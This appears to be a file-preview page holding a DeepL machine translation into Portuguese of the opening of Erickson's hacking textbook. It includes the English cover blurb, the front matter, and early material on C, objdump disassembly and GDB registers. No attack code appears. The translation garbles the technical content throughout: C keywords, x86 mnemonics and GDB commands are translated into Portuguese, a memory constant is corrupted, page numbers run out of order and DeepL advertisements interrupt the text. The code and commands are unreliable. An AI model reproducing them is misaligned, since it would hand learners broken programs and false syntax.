Esta é uma pré-visualização de arquivo. Entre para ver o arquivo original
<p>livecd provides a complete linux programming and debugging environment</p><p>jon erickson</p><p>Hacking</p><p>2nd Edition</p><p>the art of exploitation</p><p>TH E F I N EST I N G E E K E NTE RTA I N M E NT™</p><p>www.nostarch.com</p><p>“I LAY FLAT.”</p><p>This book uses RepKover—a durable binding that won’t snap shut.</p><p>Printed on recycled paper</p><p>Hacking is the art of creative problem solving,</p><p>whether that means finding an unconventional</p><p>solution to a difficult problem or exploiting holes in</p><p>sloppy programming. Many people call themselves</p><p>hackers, but few have the strong technical founda-</p><p>tion needed to really push the envelope.</p><p>Rather than merely showing how to run existing</p><p>exploits, author Jon Erickson explains how arcane</p><p>hacking techniques actually work. To share the art</p><p>and science of hacking in a way that is accessible</p><p>to everyone, Hacking: The Art of Exploitation, 2nd</p><p>Edition introduces the fundamentals of C program-</p><p>ming from a hacker’s perspective.</p><p>The included LiveCD provides a complete Linux</p><p>programming and debugging environment—all</p><p>without modifying your current operating system.</p><p>Use it to follow along with the book’s examples as</p><p>you fill gaps in your knowledge and explore hack-</p><p>ing techniques on your own. Get your hands dirty</p><p>debugging code, overflowing buffers, hijacking</p><p>network communications, bypassing protections,</p><p>exploiting cryptographic weaknesses, and perhaps</p><p>even inventing new exploits. This book will teach</p><p>you how to:</p><p>j Program computers using C, assembly language,</p><p>and shell scripts</p><p>j Corrupt system memory to run arbitrary code</p><p>using buffer overflows and format strings</p><p>j Inspect processor registers and system memory</p><p>with a debugger to gain a real understanding of</p><p>what is happening</p><p>j Outsmart common security measures like non-</p><p>executable stacks and intrusion detection systems</p><p>j Gain access to a remote server using port-binding</p><p>or connect-back shellcode, and alter a server’s log-</p><p>ging behavior to hide your presence</p><p>j Redirect network traffic, conceal open ports, and</p><p>hijack TCP connections</p><p>j Crack encrypted wireless traffic using the FMS</p><p>attack, and speed up brute-force attacks using a</p><p>password probability matrix</p><p>Hackers are always pushing the boundaries, inves-</p><p>tigating the unknown, and evolving their art. Even</p><p>if you don’t already know how to program, Hacking:</p><p>The Art of Exploitation, 2nd Edition will give you a</p><p>complete picture of programming, machine archi-</p><p>tecture, network communications, and existing</p><p>hacking techniques. Combine this knowledge with</p><p>the included Linux environment, and all you need is</p><p>your own creativity.</p><p>about the author</p><p>Jon Erickson has a formal education in computer</p><p>science and has been hacking and programming</p><p>since he was five years old. He speaks at com-</p><p>puter security conferences and trains security</p><p>teams around the world. Currently, he works as a</p><p>vulnerability researcher and security specialist in</p><p>Northern California.</p><p>$49.95 ($54.95 cdn)</p><p>shelve in : computer security/network security</p><p>tHe fundamental tecHniques of serious Hacking</p><p>InternatIonal Best-seller!</p><p>erickson</p><p>H</p><p>ackin</p><p>g</p><p>t</p><p>h</p><p>e</p><p>a</p><p>r</p><p>t</p><p>o</p><p>f</p><p>e</p><p>x</p><p>p</p><p>lo</p><p>ita</p><p>t</p><p>io</p><p>n</p><p>2nd Edition</p><p>cD insiDe</p><p>cD insiDe</p><p>Assine o DeepL Pro para traduzir arquivos maiores.</p><p>Mais informações em www.DeepL.com/pro.</p><p>https://www.deepl.com/pro?cta=edit-document&pdf=1</p><p>LOUVOR PELA PRIMEIRA EDIÇÃO DE</p><p>HACKING: A ARTE DA EXPLORAÇÃO</p><p>"O tutorial mais completo sobre técnicas de hacking. Finalmente um livro que</p><p>não mostra apenas como utilizar as façanhas, mas como desenvolvê-las".</p><p>-PHRACK</p><p>"De todos os livros que li até agora, eu consideraria isto o manual seminal</p><p>dos hackers".</p><p>-FÓRUNS DE SEGURANÇA</p><p>"Eu recomendo este livro somente para a seção de programação".</p><p>-REVISÃO UNIX</p><p>"Eu recomendo muito este livro. Ele é escrito por alguém que sabe do que</p><p>fala, com código utilizável, ferramentas e exemplos".</p><p>-IEEE CIPHER</p><p>"O livro de Erickson, um guia compacto e sem absurdos para hackers</p><p>novatos, está repleto de códigos reais e técnicas de hacking e explicações</p><p>de como eles funcionam".</p><p>-COMPUTER POWER USER (CPU) MAGAZINE</p><p>"Este é um excelente livro. Aqueles que estão prontos para passar para [o</p><p>próximo nível] devem pegar este livro e lê-lo completamente".</p><p>-SOBRE.COM SEGURANÇA NA INTERNET/REDES</p><p>2ND £Dł7łON</p><p>AC I</p><p>A ARTE DA EXPLORAÇÃO</p><p>jON ERICKSON</p><p>®</p><p>CUSTO*&CH</p><p>São Francisco</p><p>HACKING: A ARTE DA EXPLORAÇÃO, 2ª EDIÇÃO. Copyright © 2008 por Jon Erickson.</p><p>Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de qualquer forma</p><p>ou por qualquer meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou por qualquer sistema de</p><p>armazenamento ou recuperação de informações, sem a permissão prévia por escrito do proprietário dos direitos</p><p>autorais e da editora.</p><p>Impresso em papel reciclado nos Estados Unidos da</p><p>América 11 10 09 08 07 1 2 3 4 5 6 7 8 9</p><p>ISBN-10: 1-59327-144-1</p><p>ISBN-13: 978-1-59327-144-2</p><p>Editora: William Pollock</p><p>Editores de produção: Christina Samuell e Megan Dunchak</p><p>Cover Design: Estúdios Octopod</p><p>Editor de desenvolvimento: Tyler Ortman</p><p>Revisor Técnico: Aaron Adams</p><p>Copiadores: Dmitry Kirsanov e Megan Dunchak</p><p>Compositors: Christina Samuell e Kathleen Mish</p><p>Proofreader: Jim Brook</p><p>Indexador: Nancy Guenther</p><p>Para informações sobre distribuidores de livros ou traduções, favor contatar diretamente a No</p><p>Starch Press, Inc.: No Starch Press, Inc.</p><p>555 De Haro Street, Suite 250, São Francisco, CA 94107</p><p>telefone: 415.863.9900; fax: 415.863.9950; info@nostarch.com; www.nostarch.com</p><p>Biblioteca do Congresso - Dados de Catalogação-em-Publicação</p><p>Erickson, Jon, 1977...</p><p>Hacking : a arte da exploração / Jon Erickson. -- 2ª ed.</p><p>p. cm.</p><p>ISBN-13: 978-1-59327-144-2</p><p>ISBN-10: 1-59327-144-1</p><p>1. Segurança informática. 2. Hackers de computador. 3. Redes de computadores - Medidas de</p><p>segurança. I. Título. QA76.9.A25E75 2008</p><p>005.8--dc22</p><p>2007042910</p><p>No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros nomes de</p><p>produtos e empresas aqui mencionados podem ser marcas registradas de seus respectivos proprietários. Ao invés de</p><p>usar um símbolo de marca registrada com cada ocorrência de um nome registrado, estamos usando os nomes apenas</p><p>de forma editorial e em benefício do proprietário da marca registrada, sem intenção de infringir a marca registrada.</p><p>As informações contidas neste livro são distribuídas na base "Como está", sem garantia. Embora todas as</p><p>precauções tenham sido tomadas na preparação desta obra, nem o autor nem a No Starch Press, Inc. terão</p><p>qualquer responsabilidade perante qualquer pessoa ou entidade com relação a qualquer perda ou dano causado</p><p>ou supostamente causado direta ou indiretamente pelas informações nela contidas.</p><p>http://www.nostarch.com/</p><p>B R I E F C O N T E N T E S</p><p>Prefácio ...............................................................................................................................................xi</p><p>Agradecimentos...............................................................................................................................xii</p><p>0x100 Introdução ..............................................................................................................................1</p><p>Programação 0x200...........................................................................................................................5</p><p>0x300 Exploração.........................................................................................................................115</p><p>Rede 0x400...................................................................................................................................195</p><p>Código 0x500 Shellcode..............................................................................................................281</p><p>0x600 Contra-medidas ....................................................................................................................319</p><p>0x700 Criptologia .........................................................................................................................393</p>
<p>Gire o volante para a direção_variável; enquanto(a volta não</p><p>está completa)</p><p>{</p><p>if(velocidade < 5</p><p>mph) Acelerar;</p><p>}</p><p>Volte o volante para a posição original; desligue o pisca-pisca</p><p>de direção variável_;</p><p>}</p><p>Esta função inclui uma seção que procura o cruzamento adequado</p><p>procurando por placas de rua, lendo o nome em cada placa de rua, e</p><p>armazenando esse nome em uma variável chamada current_intersection_name.</p><p>Ela continuará a procurar e ler placas de sinalização de rua até que a rua alvo</p><p>seja encontrada; nesse momento, as demais instruções de viragem serão</p><p>executadas. As instruções de direção pseudo-código podem agora ser</p><p>alteradas para usar esta função de viragem.</p><p>Começar a ir para o Leste na Main Street;</p><p>enquanto (não há uma igreja à direita) dirige</p><p>pela rua principal;</p><p>se (a rua estiver bloqueada)</p><p>{</p><p>Virar (direita, Rua 15); Virar</p><p>(esquerda, Rua Pine); Virar</p><p>(direita, Rua 16);</p><p>}</p><p>senão</p><p>Virar (direita, Rua 16);</p><p>Virar (esquerda, Estrada de</p><p>Destino); para (i=0; i<5; i++)</p><p>Dirija em linha reta por 1</p><p>milha; Pare na estrada de</p><p>28 0 x 2</p><p>0 0</p><p>destino 743;</p><p>Programação 29</p><p>Funções não são comumente usadas em pseudo-código, uma vez que o</p><p>pseudo-código é usado principalmente como uma forma de os</p><p>programadores esboçarem conceitos de programas antes de escrever códigos</p><p>compiláveis. Uma vez que o pseudo-código não precisa realmente funcionar,</p><p>funções completas não precisam ser escritas de forma simplificada, basta</p><p>fazer algumas coisas complexas aqui. Mas em uma linguagem de</p><p>programação como C, as funções são muito utilizadas. A maior parte da</p><p>utilidade real do C vem de coleções de funções existentes chamadas</p><p>bibliotecas.</p><p>0x250 Como sujar as mãos</p><p>Agora que a sintaxe do C parece mais familiar e alguns conceitos</p><p>fundamentais de programação foram explicados, na verdade programar em C</p><p>não é um passo tão grande quanto isso. Existem compiladores em C para</p><p>praticamente todos os sistemas operacionais e arquiteturas de processadores</p><p>por aí, mas para este livro, Linux e um processador baseado em x 86 serão</p><p>usados exclusivamente. Linux é um sistema operacional livre ao qual todos</p><p>têm acesso, e os processadores x 86 são os mais populares processadores de</p><p>grau de consumo do planeta. Já que o hacking é realmente uma</p><p>experiência, provavelmente é melhor se você tiver um compilador C para</p><p>acompanhar.</p><p>Incluído com este livro está um LiveCD que você pode usar para</p><p>acompanhar se seu computador tiver um processador x86. Basta colocar o CD</p><p>no drive e reiniciar seu computador. Ele inicializará em um ambiente Linux</p><p>sem modificar seu sistema operacional existente. A partir deste ambiente</p><p>Linux você pode seguir junto com o livro e experimentar por conta própria.</p><p>Vamos direto ao assunto. O programa firstprog.c é um simples pedaço</p><p>de código C que imprimirá "Olá, mundo! 10 vezes.</p><p>firstprog.c</p><p>#include <stdio.h></p><p>int main()</p><p>{</p><p>int i;</p><p>for(i=0; i < 10; i++) // Loop 10 vezes.</p><p>{</p><p>puts("Olá, mundo!"); // colocar a corda na saída.</p><p>}</p><p>retornar 0; // Diga ao OS que o programa saiu sem erros.</p><p>}</p><p>A execução principal de um programa em C começa na função</p><p>principal() apropriadamente nomeada. Qualquer texto após duas barras (//)</p><p>é um comentário, que é ignorado pelo compilador.</p><p>A primeira linha pode ser confusa, mas é apenas a sintaxe C que diz ao</p><p>piloto de comunicações para incluir cabeçalhos para uma biblioteca</p><p>padrão de entrada/saída (I/O) chamada stdio. Este arquivo de cabeçalho</p><p>30 0 x 2</p><p>0 0</p><p>é adicionado ao programa quando ele é compilado. Ele está localizado</p><p>em /usr/include/stdio.h, e define várias constantes e protótipos de func-</p><p>tion para funções correspondentes na biblioteca de E/S padrão. Como a</p><p>função principal() utiliza a função printf() da biblioteca de E/S padrão</p><p>Programação 31</p><p>biblioteca, é necessário um protótipo de função para imprimir() antes de</p><p>poder ser usado. Este protótipo de função (juntamente com muitos</p><p>outros) está incluído no arquivo de cabeçalho stdio.h. Grande parte do</p><p>poder do C vem de sua extensibilidade e bibliotecas. O resto do código deve</p><p>fazer sentido e se parecer muito com o pseudo-código de antes. Você deve</p><p>até ter notado que há um conjunto de suportes de encaracolamento que</p><p>podem ser eliminados. Deve ser bastante óbvio o que este programa vai</p><p>fazer, mas vamos compilá-lo usando GCC e executá-lo apenas para ter</p><p>certeza.</p><p>A Coleção de Compiladores GNU (GCC) é um compilador C livre que</p><p>traduz C em linguagem de máquina que um processador pode entender. O</p><p>trans- lation de saída é um arquivo binário executável, que é chamado de</p><p>a.out por padrão. O programa compilado faz o que você pensou que faria?</p><p>reader@hacking:~/booksrc $ gcc firstprog.c</p><p>reader@hacking:~/booksrc $ ls -l a.out</p><p>-rwxr-xr-x 1 reader 6621 2007-09-06 22:16 a.out reader@hacking:~/booksrc $</p><p>./a.out</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>Olá, mundo!</p><p>reader@hacking:~/booksrc $</p><p>0x251 The Bigger Imagem</p><p>Certo, tudo isso tem sido coisas que você aprenderia em uma aula de</p><p>programação elementar-básica, mas essencial. A maioria das aulas</p><p>introdutórias de programação apenas ensina como ler e escrever C. Não me</p><p>interprete mal, ser fluente em C é muito útil e é suficiente para fazer de você</p><p>um programador decente, mas é apenas uma parte do quadro geral. A</p><p>maioria dos programadores aprende a linguagem de cima para baixo e nunca</p><p>vê o panorama geral. Os hackers obtêm sua vantagem ao saber como todas</p><p>as peças interagem dentro deste quadro maior. Para ver o quadro geral no</p><p>âmbito da programação, basta perceber que o código C é para ser compilado.</p><p>O código não pode realmente fazer nada até que seja compilado em um</p><p>arquivo binário executável. Pensar na fonte C como um programa é uma</p><p>concepção errada comum que é explorada pelos hackers todos os dias. As</p><p>instruções do binário a.out são escritas em linguagem de máquina, uma</p><p>linguagem elementar que a CPU pode subtrair. Os compiladores são</p><p>projetados para traduzir a linguagem do código C em linguagem de máquina</p><p>para uma variedade de arquiteturas de processador. Neste caso, o</p><p>processador está em uma família que usa a arquitetura x86. Há também</p><p>arquiteturas de processador Sparc (usado em estações de trabalho Sun) e o</p><p>32 0 x 2</p><p>0 0</p><p>processador PowerPC arch- itecture (usado em Macs pré-Intel). Cada</p><p>arquitetura tem uma linguagem de máquina diferente, de modo que o</p><p>compilador atua como um código C intermediário que traduz o código C em</p><p>linguagem de máquina para a arquitetura de destino.</p><p>Programação 33</p><p>Enquanto o programa compilado funcionar, o programador médio se</p><p>preocupa apenas com o código fonte. Mas um hacker percebe que o</p><p>programa compilado é o que realmente é executado no mundo real. Com</p><p>uma melhor compreensão de como a CPU funciona, um hacker pode</p><p>manipular as gramas pro- gramas que rodam nela. Nós vimos o código fonte</p><p>de nosso primeiro programa e o compilamos em um binário executável para</p><p>a arquitetura x86. Mas como é este binário executável? As ferramentas de</p><p>desenvolvimento GNU incluem um pro- grama chamado objdump, que pode</p><p>ser usado para examinar os binários compilados. Vamos começar olhando o</p><p>código da máquina na qual a função principal() foi traduzida.</p><p>reader@hacking:~/booksrc $ objdump -D a.out | grep -A20 main.: 08048374</p><p><main>:</p><p>8048374: 55 empurrar %ebp</p><p>8048375: 89 e5 mov %esp,%ebp</p><p>8048377: 83 ec 08 sub $0x8,%esp</p><p>804837a: 83 e4 f0 e $0xfffffff0,%esp</p><p>804837d: b8 00 00 00 00 mov $0x0,%eax</p><p>8048382: 29 c4 sub %eax,%esp</p><p>8048384: c7 45 fc 00 00 00 00 00 movl $0x0,0xfffffffc(%ebp)</p><p>804838b: 83 7d fc 09 cmpl</p><p>$0x9,0xfffffffc(%ebp) 804838f: 7e 02 jle 8048393</p><p><main+0x1f></p><p>8048391: eb 13jmp 80483a6 <main+0x32></p><p>8048393: c7 04 24 84 84 04 08 movl $0x8048484,(%esp)</p><p>804839a: e8 01 ff ff ff ligue 80482a0 <printf@plt></p><p>804839f: 8d 45 fc lea 0xfffffffc(%ebp),%eax</p><p>80483a2: ff 00 incl (%eax)</p><p>80483a4: eb e5jmp 804838b <main+0x17></p><p>80483a6: c9 sair</p><p>80483a7: c3 ret</p><p>80483a8: 90 nop</p><p>80483a9: 90 nop</p><p>80483aa: 90 nop</p><p>reader@hacking:~/booksrc $</p><p>O programa</p>
<p>objdump cuspirá demasiadas linhas de saída para examinar</p><p>sensatamente, de modo que a saída é encanada em grep com a opção de</p><p>linha de comando para exibir apenas 20 linhas após a expressão regular</p><p>principal::. Cada byte é representado em notação hexadecimal, que é um sistema de</p><p>numeração base-16. O sistema de numeração com o qual você está mais</p><p>familiarizado utiliza um sistema base-10, uma vez que a 10 você precisa</p><p>adicionar um símbolo extra. O hexadecimal usa de 0 a 9 para representar de</p><p>0 a 9, mas também usa de A a F para representar os valores de 10 a 15. Esta é</p><p>uma notação conveniente, já que um byte contém 8 bits, cada um dos quais</p><p>pode ser verdadeiro ou falso. Isto significa que um byte tem 256 (28 ) valores</p><p>possíveis, portanto cada byte pode ser descrito com 2 dígitos hexadecimais.</p><p>Os números hexadecimais - que começam com 0x8048374 no extremo</p><p>esquerdo - são endereços de memória. Os bits das instruções da linguagem</p><p>da máquina devem ser colocados em algum lugar, e este lugar é chamado</p><p>de memória. A memória é apenas uma coleção de bytes de espaço de</p><p>34 0 x 2</p><p>0 0</p><p>armazenamento temporário que são numerados com endereços.</p><p>Programação 35</p><p>Como uma fileira de casas em uma rua local, cada uma com seu próprio</p><p>endereço, a memória pode ser pensada como uma fileira de bytes, cada um</p><p>com seu próprio endereço de memória. Cada byte de memória pode ser</p><p>acessado por seu endereço e, neste caso, a CPU acessa esta parte da</p><p>memória para recuperar as instruções de linguagem da máquina que</p><p>compõem o programa compilado. Os processadores Intel x86 mais antigos</p><p>usam um esquema de endereçamento de 32 bits, enquanto os mais novos</p><p>usam um de 64 bits. Os processadores de 32 bits têm 232 (ou 4.294.967.296)</p><p>endereços possíveis, enquanto os de 64 bits têm 264 (1,84467441 × 1019 )</p><p>endereços possíveis. Os processadores de 64 bits podem rodar em modo de</p><p>compatibilidade de 32 bits, o que lhes permite executar rapidamente o</p><p>código de 32 bits.</p><p>Os bytes hexadecimais no meio da lista acima são as instruções de linguagem</p><p>da máquina para o processador x86. Naturalmente, estes valores hexadecimais</p><p>são apenas representações dos bytes dos binários 1s e 0s que a CPU pode</p><p>subtrair. Mas desde</p><p>010101011000100111100111100101100000111111101100111100001 . . .</p><p>não é muito útil a nada além do processador, o código da máquina é</p><p>exibido como bytes hexadecimais e cada instrução é colocada em sua</p><p>própria linha, como dividir um parágrafo em sentenças.</p><p>Pensando bem, os bytes hexadecimais realmente não são muito úteis -</p><p>nem a si mesmos, nem a linguagem de montagem. As instruções na extrema</p><p>direita estão na linguagem de montagem. A linguagem de montagem é na</p><p>verdade apenas uma col- leção de mnemônicos para as instruções</p><p>correspondentes da linguagem da máquina. A instrução ret é muito mais</p><p>fácil de lembrar e fazer sentido do que 0xc3 ou 11000011. Ao contrário do C e</p><p>de outros idiomas compilados, as instruções de linguagem de montagem têm</p><p>uma relação direta um-a-um com suas correspondentes instruções de</p><p>linguagem de máquina. Isto significa que, como cada arquitetura de</p><p>processador tem diferentes instruções de linguagem de máquina, cada uma</p><p>também tem uma forma diferente de linguagem de montagem. A</p><p>montagem é apenas uma forma de os programadores representarem as</p><p>instruções da linguagem da máquina que são dadas ao processador.</p><p>Exatamente como estas instruções de linguagem de máquina são</p><p>representadas é simplesmente uma questão de convenção e preferência.</p><p>Embora teoricamente você possa criar sua própria sintaxe de linguagem de</p><p>montagem x86, a maioria das pessoas fica com um dos dois tipos principais:</p><p>Sintaxe AT&T e sintaxe Intel. A montagem mostrada na saída da página 21 é a</p><p>sintaxe AT&T, já que praticamente todas as ferramentas de desmontagem do</p><p>Linux utilizam esta sintaxe por padrão. É fácil reconhecer a sintaxe AT&T pela</p><p>cacofonia dos símbolos % e $ que prefixam tudo (veja novamente o exemplo na</p><p>página 21). O mesmo código pode ser mostrado na sintaxe Intel fornecendo uma</p><p>opção adicional de linha de comando, -M intel, para objdump, como mostrado</p><p>na saída abaixo.</p><p>reader@hacking:~/booksrc $ objdump -M intel -D a.out | grep -A20 main.:</p><p>08048374 <main>:</p><p>8048374: 55 empurrar ebp</p><p>8048375: 89 e5 mov ebp,esp</p><p>36 0 x 2</p><p>0 0</p><p>8048377: 83 ec 08 sub esp,0x8</p><p>804837a: 83 e4 f0 e esp,0xfffffff0</p><p>804837d: b8 00 00 00 00 mov eax,0x0</p><p>8048382: 29 c4 sub esp,eax</p><p>8048384: c7 45 fc 00 00 00 00 00 mov DWORD PTR [ebp-4],0x0</p><p>804838b: 83 7d fc 09 cmp DWORD PTR [ebp-4],0x9</p><p>804838f: 7e 02 jle8048393 <main+0x1f></p><p>Programação 37</p><p>8048391: eb 13 jmp 80483a6 <main+0x32></p><p>8048393: c7 04 24 84 84 04 08 mov DWORD PTR [esp],0x804848484</p><p>804839a: e8 01 ff ff ff ligue</p><p>para</p><p>80482a0 <printf@plt></p><p>804839f: 8d 45 fc lea eax,[ebp-4]</p><p>80483a2: ff 00 inc DWORD PTR [eax]</p><p>80483a4: eb e5 jmp 804838b <main+0x17></p><p>80483a6: c9 sair</p><p>80483a7: c3 ret</p><p>80483a8: 90 nop</p><p>80483a9: 90 nop</p><p>80483aa: 90 nop</p><p>reader@hacking:~/booksrc $</p><p>Pessoalmente, acho que a sintaxe da Intel é muito mais legível e fácil</p><p>de entender, portanto, para os propósitos deste livro, vou tentar manter esta</p><p>sintaxe. Independente da representação da linguagem de montagem, os</p><p>comandos que um professor entende são bastante simples. Estas</p><p>instruções consistem de uma operação e às vezes argumentos adicionais</p><p>que descrevem o destino e/ou a fonte para a operação. Estas operações</p><p>movem a memória, realizam algum tipo de matemática básica, ou</p><p>interrompem o processador para que ele faça algo mais. No final, isso é</p><p>tudo o que um processador de computador pode realmente fazer. Mas da</p><p>mesma forma que milhões de livros foram escritos usando um alfabeto</p><p>relativamente pequeno de letras, um número infinito de programas</p><p>possíveis pode ser criado usando uma coleção relativamente pequena de</p><p>instruções de máquina.</p><p>Os processadores também têm seu próprio conjunto de variáveis especiais</p><p>chamadas registros. A maioria das instruções usa esses registros para ler ou</p><p>escrever dados, portanto, compreender os registros de um processador é</p><p>essencial para compreender as instruções.</p><p>O quadro geral continua crescendo... . .</p><p>0x252 O x86 Processador</p><p>A CPU 8086 foi o primeiro processador x86. Foi desenvolvido e fabricado pela</p><p>Intel, que mais tarde desenvolveu processadores mais avançados na mesma</p><p>família: o 80186, 80286, 80386, e 80486. Se você se lembra das pessoas</p><p>falando sobre os processadores 386 e 486 nos anos 80 e 90, era a isto que</p><p>eles se referiam.</p><p>O processador x86 tem vários registros, que são como variáveis internas</p><p>para o processador. Eu poderia apenas falar abstratamente sobre estes</p><p>registros agora, mas acho que é sempre melhor ver as coisas por si mesmo.</p><p>As ferramentas de desenvolvimento GNU também incluem um depurador</p><p>chamado GDB. Os depuradores são usados pelos programadores para passar</p><p>por programas compilados, examinar a memória do programa e visualizar os</p><p>registros do processador. Um programador que nunca usou um depurador</p><p>para olhar o funcionamento interno de um programa é como um médico do</p><p>século XVII que nunca usou um microscópio. Similar a um microscópio, um</p><p>depurador permite que um hacker observe o mundo microscópico do código</p><p>38 0 x 2</p><p>0 0</p><p>da máquina - mas um depurador é muito mais poderoso do que esta</p><p>metáfora permite. Ao contrário de um microscópio, um depurador pode ver a</p><p>execução de todos os ângulos, pausá-la e mudar qualquer coisa ao longo do</p><p>caminho.</p><p>24 0 x 2</p><p>0 0</p><p>Abaixo, o GDB é usado para mostrar o estado dos registros do processador</p><p>logo antes do início do programa.</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>quebra principal</p><p>Ponto de parada 1 a</p><p>0x804837a (gdb) rodar</p><p>Programa inicial: /home/leitor/ livrorc/a.out</p><p>Ponto de parada 1, 0x0804837a em</p><p>principais () (gdb) registros info</p><p>eax 0xbffff894 -1073743724</p><p>ecx 0x48e0fe81 1222704769</p><p>edx 0x1 1</p><p>ebx 0xb7fd6ff4 -1208127500</p><p>esp 0xbffff800 0xbffff800</p><p>ebp 0xbffff808 0xbffff808</p><p>esi 0xb8000ce0 -1207956256</p>
<p>edi 0x0 0</p><p>eip 0x804837a0x804837a <main+6></p><p>eflags 0x286 [PF SF SF ]</p><p>cs 0x73 115</p><p>ss 0x7b 123</p><p>ds 0x7b 123</p><p>es 0x7b 123</p><p>fs 0x0 0</p><p>gs 0x33 51</p><p>(gdb) desistir</p><p>O programa está em execução. Sair mesmo assim? (y ou n) y</p><p>reader@hacking:~/booksrc $</p><p>Um ponto de parada é definido na função principal() para que a execução</p><p>pare logo antes que nosso código seja executado. Então o GDB executa o</p><p>programa, pára no ponto de parada e é instruído a exibir todos os registros do</p><p>processador e seus estados atuais.</p><p>Os primeiros quatro registros (EAX, ECX, EDX e EBX) são conhecidos como</p><p>registros de propósito geral. Estes são chamados de registros Acumulador,</p><p>Contador, Dados e Base, respectivamente. Eles são usados para uma</p><p>variedade de propósitos, mas atuam principalmente como variáveis</p><p>temporárias para a CPU quando esta executa instruções da máquina.</p><p>Os segundos quatro registros (ESP, EBP, ESI e EDI ) também são registros</p><p>de propósito geral, mas às vezes são conhecidos como ponteiros e índices.</p><p>Estes significam, respectivamente, Stack Pointer, Base Pointer, Source Index, e</p><p>Destination Index. Os dois primeiros registros são chamados ponteiros porque</p><p>armazenam endereços de 32 bits, que essencialmente apontam para essa</p><p>localização na memória. Estes registros são bastante importantes para</p><p>programar a execução e o gerenciamento da memória; discutiremos mais</p><p>tarde. Os dois últimos registros também são apontadores técnicos,</p><p>Assine o DeepL Pro para traduzir arquivos maiores.</p><p>Mais informações em www.DeepL.com/pro.</p><p>https://www.deepl.com/pro?cta=edit-document&pdf=1</p><p>Programação 25</p><p>que são comumente usados para apontar para a fonte e destino quando os</p><p>dados precisam ser lidos ou escritos. Há instruções de carga e</p><p>armazenamento que utilizam esses registros, mas, na maioria das vezes,</p><p>esses registros podem ser pensados como simples registros de uso geral.</p><p>O registro EIP é o registro do Pointer de Instrução, que aponta para a</p><p>instrução atual que o processador está lendo. Como uma criança apontando</p><p>seu dedo para cada palavra enquanto lê, o processador lê cada instrução</p><p>usando o registro PONTO DE INSTRUÇÃO como seu dedo. Naturalmente, este</p><p>registro é bastante importante e será muito utilizado durante a depuração.</p><p>Atualmente, ele aponta para um endereço de memória em 0x804838a.</p><p>O registro EFLAGS restante consiste de várias bandeiras de bit que são</p><p>usadas para comparações e segmentações de memória. A memória real é</p><p>dividida em vários segmentos diferentes, que serão discutidos mais tarde, e</p><p>estes registros mantêm um registro disso. Na maioria das vezes, estes</p><p>registros podem ser ignorados, uma vez que raramente precisam ser</p><p>acessados diretamente.</p><p>0x253 Idioma de montagem</p><p>Como estamos usando a linguagem de montagem de sintaxe Intel para este</p><p>livro, nossas ferramentas devem ser configuradas para usar esta sintaxe.</p><p>Dentro da GDB, a sintaxe de desmontagem pode ser configurada para Intel</p><p>simplesmente digitando set disassembly intel ou set dis intel, para resumir.</p><p>Você pode configurar esta configuração para executar cada vez que o GDB</p><p>inicia, colocando o comando no arquivo .gdbinit em seu diretório pessoal.</p><p>reader@hacking:~/booksrc $ gdb -q</p><p>(gdb) set dis intel</p><p>(gdb) desistir</p><p>reader@hacking:~/booksrc $ echo "set dis intel" > ~/.gdbinit</p><p>reader@hacking:~/booksrc $ cat ~/.gdbinit</p><p>set dis intel</p><p>reader@hacking:~/booksrc $</p><p>Agora que a GDB está configurada para usar a sintaxe Intel, vamos</p><p>começar a compreendê-la. As instruções de montagem na sintaxe Intel</p><p>geralmente seguem este estilo:</p><p>operação <destino>, <fonte></p><p>Os valores de destino e fonte serão ou um registro, um endereço de</p><p>memória ou um valor. As operações são geralmente mnemônicas intuitivas: A</p><p>operação de movimentação moverá um valor da fonte para o destino, o</p><p>subvalor será</p><p>subtrair, inc irá incrementar, e assim por diante. Por exemplo, as instruções</p><p>abaixo moverão o valor do ESP para o EBP e depois subtrairão 8 do ESP</p><p>(armazenando o resultado em ESP).</p><p>8048375: 89 e5 mov ebp,esp</p><p>26 0 x 2</p><p>0 0</p><p>8048377: 83 ec 08 sub esp,0x8</p><p>Programação 27</p><p>Há também operações que são usadas para controlar o fluxo da execução. A</p><p>operação cmp é usada para comparar valores, e basicamente qualquer operação</p><p>que comece com j é usada para pular para uma parte diferente do código</p><p>(dependendo do resultado da comparação). O exemplo abaixo compara primeiro</p><p>um valor de 4 bytes localizado no EBP menos 4 com o número 9. A instrução</p><p>seguinte é a mão curta para pular se menor ou igual a, referindo-se ao resultado</p><p>da comparação anterior. Se esse valor for menor ou igual a 9, a execução salta</p><p>para a instrução em 0x8048393. Caso contrário, a execução flui para a instrução</p><p>seguinte com um salto incondicional. Se o valor não for menor ou igual a 9, a ex-</p><p>cução saltará para 0x80483a6.</p><p>804838b: 83 7d fc 09 cmp DWORD PTR [ebp-4],0x9</p><p>804838f: 7e 02 jle 8048393 <main+0x1f></p><p>8048391: eb 13 jmp 80483a6 <main+0x32></p><p>Estes exemplos foram de nossa desmontagem anterior, e temos nosso</p><p>depurador configurado para usar a sintaxe Intel, então vamos usar o depurador</p><p>para passar pelo primeiro programa no nível de instrução de montagem.</p><p>A bandeira -g pode ser usada pelo compilador GCC para incluir informações</p><p>extras de depuração, o que dará à GDB acesso ao código fonte.</p><p>reader@hacking:~/booksrc $ gcc -g firstprog.c reader@hacking:~/booksrc</p><p>$ ls -l a.out</p><p>-rwxr-xr-x 1 matrix users 11977 Jul 4 17:29 a.out</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db</p><p>"/lib/libthread_db.so.1". (gdb) lista</p><p>1 #include <stdio.h></p><p>2</p><p>3 int main()</p><p>4 {</p><p>5 int i;</p><p>6 for(i=0; i < 10; i++)</p><p>7 {</p><p>8 printf("Olá, mundo!\n");</p><p>9 }</p><p>10 }</p><p>(gdb) desmontar o principal</p><p>Código de assembler para função principal():</p><p>0x08048384 <main+0>: empu</p><p>rrar</p><p>ebp</p><p>0x08048385 <main+1>: mov ebp,esp</p><p>0x0804838/ <main+3>: sub esp,0x8</p><p>0x0804838a <main+6>: e esp,0xfffffff0</p><p>0x0804838d <main+9>: mov 